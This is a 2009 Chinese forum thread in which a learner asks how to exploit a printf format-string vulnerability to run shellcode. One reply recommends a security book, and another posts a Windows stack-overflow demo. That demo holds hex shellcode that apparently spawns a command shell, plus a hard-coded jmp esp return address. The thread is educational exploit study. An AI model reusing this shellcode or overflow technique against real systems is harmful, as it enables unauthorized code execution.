关于利用printf漏洞执行shellcode的问题

hunter2046 2009-10-04 08:30:54
最近正在学习安全方面的东西 遇到一个format string问题解决不了 搜来的资料都不是太懂。。希望达人帮忙解答下

问题是这样:
现在有一段程序,程序里的一个函数叫usage 代码如下:
static void usage(char* parameter) {
char output[128];
char buffer[128];
snprintf(buffer, sizeof(buffer), "Usage: %.88s backup|restore pathname\n",
parameter);
sprintf(output, buffer);
printf(output);
}

最后一行是 printf(output)这种形式的句子,也就是有format string漏洞的地方。
我需要写一个程序来利用这个漏洞,shellcode是已经有的,usage这个函数的返回地址我也能够找到(比如说是0xffbfddec),现在问题是接下来应该怎么办?传进去的parameter应该是什么样的?因为usage里的printf没有办法写成
printf("xxxxxxx%n",&i)这种样子,所以很困惑,希望达人帮帮忙解答一下,谢谢!!
...全文
80 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
raiky 2009-10-05
  • 打赏
  • 举报
回复
0 day安全:软件漏洞分析技术上还真没有这个漏洞的详细描述,呵呵
不过printf漏洞说到底就是缓冲区溢出的一种,我贴段另外的缓冲区溢出的试验代码,希望对你有用

#include <stdio.h>
#include <string.h>
char name[]="\x41\x41\x41\x41" //name[0]--name[3]
"\x41\x41\x41\x41" //name[4]--name[7]
"\x41\x41\x41\x41" //EBP
"\xCD\x54\xFA\x7F" //覆盖成jmp esp地址 7ffa54cd
//shellcode机器码
"\x55\x8B\xEC\x33\xC0\x50\x50\x50"
"\xB8\x4D\x53\x56"
"\x43\x89\x45\xF4"
"\xB8\x52\x54\x2E"
"\x44\x89\x45\xF8"
"\x66\xB8\x4C\x4C"
"\x89\x45\xFC\x33"
"\xD2\x66\x89\x55\xFE"
"\x8D\x45\xF4\x50\xB8"
"\x77\x1D\x80\x7C"
"\xFF\xD0\x5C\x8B\xE5\x55"
"\x8B\xEC\x33\xFF\x57\x83\xEC\x08"
"\xB8\x63\x6F\x6D\x6D"
"\x89\x45\xF4\xB8"
"\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8"
"\x63\x6F\x6D\x22"
"\x89\x45\xFC\x33\xD2"
"\x88\x55\xFF"
"\x8D\x45\xF4\x50\xB8"
"\xC7\x93\xBF\x77"
"\xFF\xD0";
int main()
{
char output[8];
strcpy(output,name);
for(int i=0;i<8&&output;i++)
{
printf("\\0x%x",output);
}
printf("\n");
return 0;
}
hunter2046 2009-10-04
  • 打赏
  • 举报
回复
up
qihuanfengyun 2009-10-04
  • 打赏
  • 举报
回复
建议看一下 《0 day安全:软件漏洞分析技术》上面有较详细的讲解!

9,505

社区成员

发帖
与我相关
我的任务
社区描述
Windows专区 安全技术/病毒
社区管理员
  • 安全技术/病毒社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧